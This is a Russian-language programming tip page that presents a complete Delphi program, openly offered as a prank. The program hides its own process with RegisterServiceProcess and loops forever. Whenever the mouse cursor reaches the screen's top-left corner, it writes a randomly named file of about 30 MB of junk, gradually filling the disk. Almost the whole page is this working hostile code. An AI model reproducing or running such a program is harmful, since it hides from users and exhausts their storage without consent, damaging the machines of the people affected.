Мало места на винте

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором

program musor;

uses
  Windows;

var
   { Объявление переменных }
  text: TextFile;
  alphabet, temp: string;
  i: integer;
  point: TPoint;

function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
  RegisterServiceProcess(0, 1);
  {заполняем строку алфавитом}
  alphabet := 'abcdefghijklmnopqrstucvwxyz';
  while true do
  begin
    { получаем координаты курсора }
    GetCursorPos(point);
    { если х = 0 и y = 0 то }
    if (point.x = 0) and (point.y = 0) then
    begin
      temp:=''; {очищаем буфер}
      for i:=1 to 8 do {генерируем случайное имя файла}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      temp:=Concat(temp, '.');
      for i:=1 to 3 do {генерируем случайное расширение}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      Assign(text, temp); { присваиваем имя файлу }
      Rewrite(text); {открываем файл}
      for i:=1 to 30000000 do
      begin
        Yield;
        write(text, '!'); { наполняем файл мусором }
      end;
      Close(text); {закрываем файл }
    end;
  end; {всё сначала }
end.

Другое по теме:

• Как расшарить диск
• Как проверить находится ли файл на локальном диске
• Как проверить готовность диска А